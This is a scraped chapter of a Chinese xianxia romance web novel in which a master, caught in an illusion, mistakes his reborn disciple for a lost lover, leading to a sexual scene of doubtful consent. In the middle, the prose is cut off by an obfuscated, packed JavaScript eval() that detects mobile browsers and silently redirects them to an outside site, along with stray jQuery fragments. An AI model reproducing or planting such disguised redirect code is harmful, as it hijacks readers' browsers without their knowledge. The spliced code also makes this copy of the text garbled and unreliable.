7. 断魂无据

作品:《仙君总想把我推给情敌

    【又拂卿柳】


    睡梦中的人呼唤的名字是“颜卿”,柳砚清听得很清楚。


    当时旷野,他的的确确是保住了她的魂魄。按照千百年来“起死回生”的情况,术法施下后不出三日便会清醒过来。


    她却整整昏迷了半年,且醒来后忘记了一切。不仅记忆消除,连性格也变了人似的。


    想起她从前耳垂上的痣,借着“泥印”的借口捏了捏。


    这一世的她同凡人无二,既没有仙术就连法器也消失不见。


    “大仙为何不许自己告诉她姓名……”


    是怕她再想起那个人,又重蹈覆辙吗?也不是没可能。


    无论故事重来多少回,结局都奔向同一种结果。


    入夜。


    柳砚清从短暂的憩息中醒来,房中空无一人,唯有碳炉里的火出发低沉的噼啪声。


    “人去哪儿了?”


    门扉关合的位置稍有变化,应该是出门去了。


    柳砚清紧蹙着眉,起身披衣,踏月而出,循着林间小径,步入幽深的竹林。


    竹影婆娑,枝叶交错,仿佛天地间只剩下这一片静谧的绿意。


    等等……竹林?死而复生的竹?这是,幻境?


    柳砚清环顾四周,并未察觉到施术人的存在。整座山林都只有他和她的气息。


    不会是她……她哪里还记得……听不见玉笛的声音,属于南风仙子的羽带也尚未坦白……所以眼前的幻境到底是……


    尽管说服自己不可能是她制造的幻境,可这片竹林明摆在眼前,与蓬莱第几宫的竹林几乎一模一样。


    是她最喜欢的竹。


    桑竹仙子在生下南风后因病早逝,南风不知娘亲模样,赤方神仙便编造谎言——“见到竹林,就能见到娘亲的样子”。


    南风信以为真,无论蓬莱第几宫,还是人间山野,皆被她种下竹林,只为见一面从未见过的人。


    忽然,一阵清风自林深处卷起,竹叶作响,宛如天籁之音。


    柳砚清驻足凝望,只见远处暗处似有光影浮动,恍若梦境。


    风愈急,竹叶纷扬,似碎玉倾泻,在月光下泛着银光旋舞。


    就在这朦胧的光影中,一位女子款款从树影后走来。


    她身披羽衣,衣袂如云,发丝如墨,随风飘散,眸中似有星辰闪烁。


    羽带在她身后飘荡,宛如仙鹤展翅。她的脚步无声,每一步都带起一阵清风,卷起地上的落叶,化作点点金光,缠绕在她脚边。


    似是月光的光从树冠间落下,光晕勾勒出她侧脸的轮廓。


    柳砚清怔在原地,目光无法从她身上移开。心猛然一颤,瞳孔微缩,熟悉的身影让心头涌起一阵难以抑制的悸动。


    是她。那个曾经在他梦中出现过无数次的身影,那个让他魂牵梦萦的人,那个甚至一别,临死才相见的人。


    他下意识地向前迈了一步,脚下的枯叶发出轻微的碎裂声。他猛然顿住,不敢再向前,生怕这一切只是他的一场幻梦……


    一旦他靠近,便会消散在这无边的竹海之中。


    那人回眸望向他,朱唇轻启。


    “砚清。”


    她的目光淡淡地落在他的身上,眸中却空无一物。


    喉咙被什么堵住,发不出声音。只能眼睁睁地看着她,看着她在那片光影中若隐若现。


    “……南风,是你吗……”


    他终于低喃出声,声音轻得几乎被风声淹没。


    他眼中带着希冀,又带着恐惧,在等待一个答案,又害怕那个答案会让他彻底心碎。


    仙子的唇角微扬,露出一抹熟悉的笑。那笑意如春风拂过湖面,轻轻浅浅,一如三百年前,蓬莱第几宫的初见。


    明知救回的是她,为什么自己就是无法坦然面对她……她明明……就在那里啊……


    他再也忍不住,猛地向前冲去。


    就在即将撞上她的瞬间,他手臂一揽,将她紧拥入怀。她的身体如飞凫般轻盈,似神祇般飘忽。


    怀中之人似乎怔愣了,未曾料到他会如此直接而热烈。


    柳砚清的手臂收得更紧,生怕一松手,她便会再次离开。


    良久,怀中之人终于有了反应。她的手指轻轻抬起,像是犹豫又像是试探,最终缓缓地、温柔地回拥住了他。


    她的手掌贴在他的背上,指尖用力,紧紧抓住他。


    柳砚清感受到她的回应,下巴轻轻抵在她的肩头,呼吸间尽是她身上淡淡的清香,像是山间的晨露,又像是林中的幽兰。


    “你终于肯来见我了。”


    她没有回答,只是将脸轻轻埋在他的肩窝。


    风依旧在吹,竹叶依旧在沙沙作响,但此刻的柳砚清却觉得,整个世界都安静了下来,只剩下他与她,在这片竹海中紧紧相拥。


    幻境在逐渐吞噬他的意识,他的理智。


    愿言配德兮,携手相将。不得於飞兮,使我沦亡。


    柳砚清无数次想过,莫非三百年蓬莱第几宫,不过白日忽一梦?


    南柯浮梦……不过蓬莱第几宫的仙子给予他的一场幻梦。


    她甚至愿意为了一个凡人抛弃姓名,与“他”沉沦为凡尘间的一粒红尘。


    柳砚清从未真正拥有过她,南启的风,真的只是那年蓬莱求学,做的一场梦吗?


    【又见东风】


    耳畔灼热的呼吸不断呼唤着一个模糊的名字。风声呜咽,却掩不住那声音里刻骨的思念。


    我攀附着柳砚清的后背,指尖深深陷入他的衣料。柳砚清的心跳透过相贴的胸膛传来,又快又重。


    我知道,他心中的执念太深,深到连我自己都无法轻易解开。


    “砚清,”我轻声开口,苦笑着强忍住心中的酸涩,“是我啊……你认错了。我是……”


    柳砚清的身体微微一僵,手臂的力道渐渐松开。他的目光依旧紧紧锁在我的脸上,眼中闪过错愕与不可置信。


    我扯出一抹笑,试图用轻松的语气打破这凝重的气氛,正想开口跟他开个玩笑,却没想到他的动作比我的话语更快。


    他的吻毫无预兆,他的气息铺天盖地地席卷而来,他的唇瓣温热而柔软,将我所有的思绪都搅得混乱不堪,令人窒息。


    我不知是该推开他还是该回应他。


    风依旧在吹,开花的竹林枯枝摇曳,寒风凛冽。但此刻的我只能感受他的气息,他的温度,以及他近乎失控的情绪。


    良久,他终于缓缓松开了我,仿佛在等我的答复,又露出害怕我拒绝的表情。


    我张了张嘴,却发现自己发不出声音,心中的酸涩与无奈交织在一起。


    我该怎么办,我该怎么回应你……


    半个时辰前。


    见柳砚清撑着脑袋在书案上睡着,我披上柜子里翻找出的白色衣裳,出门去看屹立了六十年开花枯败的竹。


    踱步时,突然听见有人踩响树叶的声响。


    霜天雪地,哪里来的树叶?


    我从树背后走出,回眸看到了一脸错愕的柳砚清。


    “……风……”


    他是在叫我吗?他似乎喊了好几遍,可我就是听不清第一个字是什么。


    我笑着回应他,却不想他忽然奔向我,将我拥入怀中。


    他哭了?不对,师尊怎么会哭呢,师尊怎么会在我面前哭呢。


    我抬手回应他,似笑非笑地安慰他:“师尊,是我啊,你认错了。”


    我感觉到手掌下的人怔愣了一下,心也跟着被抽打了一下。


    他抬起头看着我,怕他尴尬我勉强自己笑,眼睛发酸鼻子酸涩也笑。


    正想同他开玩笑,就被他突如其来的举动惊呆。


    他在……吻我?!不对,师尊怎么会吻我呢,师尊怎么可能如此深情的吻我。


    除非——他眼里的人,不是我。


    床榻边堆叠着我的被褥和衣裳,凌乱地散落一地,两双或正或倒的鞋被掩埋。


    他的衣襟松松微散,眼神迷离,呼吸沉重。


    我被禁锢在不断升温的囚笼中,眼看着他进一步侵占我与他之间的空隙。


    痛恨自己竟然有一瞬的贪欲。


    柳砚清的一只手沿着我的脖子向下滑去,所经之处,仿佛有无数细针扎进发肤,瘙痒难耐,折磨难堪。


    “砚清……师尊!你看清楚了,我是——”


    他不喜欢我唤他师尊,那我就用这个刺耳的词语唤醒他。


    然而,话音未落,我的腰上一紧,被他的双臂圈住拉向了他。仅有的一点隔阂空隙被瞬间填满,灼热的舌尖在耳内流连,而比这更灼热的在苍茫大海上掀起惊涛骇浪。


    “你终于来见我了……我好想你啊……”


    又是这句话,近乎呜咽的诉说。


    冰冷的身躯紧紧拥着我,用尽一切用力圈住我。我却不敢直面他,回应他,绝望地仰起头盯着黝黑的天花顶,泪水连成线滑落至耳垂。脑海里却始终挥之不去,那双深邃的眼睛望着“我”,不是我的“我”。


    他看到的人应该是个不会流泪,一身风流洒脱的人。哪是这样动不动就哭哭啼啼,自卑委屈之人。


    颈项间传来温软的触感,他的吻轻轻落下,然后吻向耳垂,沿着泪线亲吻我的眼角。


    略微粗糙的指腹抚摸着我的脸颊,轻轻拭去我眼角的泪水,耳畔听到了极尽温柔的笑意……是他从不会对我发出的声音。


    “怎么哭了?眼睛哭肿可就不好看了。不是你说,身而为仙,绝不在我面前落泪吗?还说,直到我命数耗尽那天,也不会看到你流一滴眼泪……”


    他的声音像是触动了某个开关,我原本压抑的情绪瞬间决堤。


    眼泪不受控制地涌出,像是断了线的珠子,一颗接一颗地滚落。肩膀开始微微颤抖,呼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056720|179140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吸变得急促,喉咙里发出一声压抑的呜咽。


    紧接着,所有的情绪像是洪水般倾泻而出,我终于崩溃大哭,哭声在寂静的山林中回荡。


    他到底怎么了?重生前的我到底是做了什么让他如此执着?癫狂到这般境界。


    我又到底做错了什么,他为什么不肯直面我,为什么不肯接受现在的我……


    第一滴泪落下时,他温柔地吻去。第二滴第三滴接连不断,他的动作开始慌乱,手掌轻轻拍着我的背,像是在安抚受惊的孩子。


    “别哭……我在这里,我一直在。”


    他的怀抱温暖而坚实,可我却哭得更凶了,仿佛要将心中所有的委屈、痛苦与无奈都发泄出来。


    我的手指紧紧攥住他的衣襟,眼泪浸湿了他的胸口,哭声断断续续。


    柳砚清没有再说话,只是将我抱得更紧。


    “别哭,无论发生什么,我都会陪着你。上穷碧落下黄泉,我都能寻到你。一遍一遍……一次一次……将你拉回来。”


    “砚清……”我绝望地摆首,“我不是……我不是……我不是你要救回的人……”


    我不是你想救回的人,我不是你记忆深处的那个人,不是你现在眼中看到的人。


    我究竟是谁,连我自己也不清楚,我甚至叫不出自己的名字。


    他的手掌依旧贴在我的脸颊上,指尖微微用力,要我的所有都注视着他。


    “不,是你。我只要你。你也,只属于我吧。”


    我闭上双眼,不愿再看他虔诚的面容。


    他眼里看到的不是我,我也不该窥探到他不属于我的一面。


    我没法说服自己,眼前的画面都只是一个假象,但我又比任何时候都希望他所说的、所做的一切都是真实的。


    魂牵人,自乱方寸。


    窗外的寒天动地被绿意覆盖,而我和他,仿佛被困在了这虚幻的梦想中,伴随每一次更深的侵袭向着全身蔓延,不断折磨彼此。


    朦胧的烛光在我逐渐迷糊的视野中化为迷幻的光点,无可抑制的声音在房中回荡。


    到底是哭泣的呜咽,还是绝望的悲鸣。


    或许,是好的。


    至少对于柳砚清而言,他是欣喜的。


    至少……他冲我笑了。


    我转过身,将头埋进凌乱的衣物中,不知是眼泪还是什么浸湿了它们。后背忽地贴上冰凉的胸膛,被汗水打湿的双臂再次将我圈住。


    哪里逃得掉,哪里还有力气逃跑。被夺去意识和理智的人,不止是他柳砚清。


    他喘息着汗水沿着脸颊滴落在我肩头,轻柔地将我凌乱潮湿的发丝拨至一侧,从身后捏住我的下巴回过头与他相视,滚烫的唇舌再次覆盖我的唇。


    凶猛的烈马再次突破城门攻城略地,片甲不留,毫不怜惜。


    竹叶的触感通常较为光滑,摸起来略带凉意。叶片边缘可能有些粗糙,尤其是老叶,但整体上质地较薄且柔韧。


    新生的竹叶则更为柔软细腻。砚清……显然不是新生的竹叶。


    动作熟练,一气呵成。


    擅长突破的锄头总能精准找到深坑里的笋尖。


    窗外是不是下雨了?断断续续的。混杂着山神与精灵的呼吸,跌宕起伏。


    粗壮的春笋破土而出,是山间地头难得的宝贝,好在泥土包裹的严实没能轻易被发现。


    笋子嘛,明知自己终究逃不过锄头的挖掘被送上餐桌,还是尽力把自己藏起来,埋得更深。


    锄头陷进濡湿的泥土,被一股力量咬紧,挥动锄头的人只好摇晃着一点点将锄头拔出,然后又对准竹笋的根部落去。


    似有雨水从破裂的缝隙中渗入……不对,雨好像停了,滴落的或许是晨露……


    竹子六十年开花,花开必枯死。


    屋外的大片枯枝,不止是入冬沉寂的松柏,还有死亡的竹。


    前些日子问起柳砚清,既然竹子已死为什么不挖除重新栽种?


    他说,那是前人特意种下的,六十年前,甚至一百二十年前也曾开花枯死,仙人舍不得,一直留下等待复生。


    我永远记得柳砚清说话时的表情,尤其是提到复生二字。


    “那位前人一定很喜欢竹。”


    “不止是竹,还有那片不会衰败的梅林。因为她喜欢如此这般的人、事、物。”


    医鹿山的梅林终年不谢,如同池里的莲,不受季节的更迭而更变花期。


    柳砚清喜欢梅和这座山中小屋,是不是受了前人的影响。窗台紫色的桔梗花,梁上挂满的干花……


    寻不见柳砚清的日子,他都在这里度过的吧。


    屋外的幻境散去,露出真实的黑夜。


    院外池塘里,目睹了一切的仙鹤落下一滴泪,衔着仙子的羽带和仙人的棋子振翅飞向深空。


    不知何时失去意识的我,做了一个多年前的梦……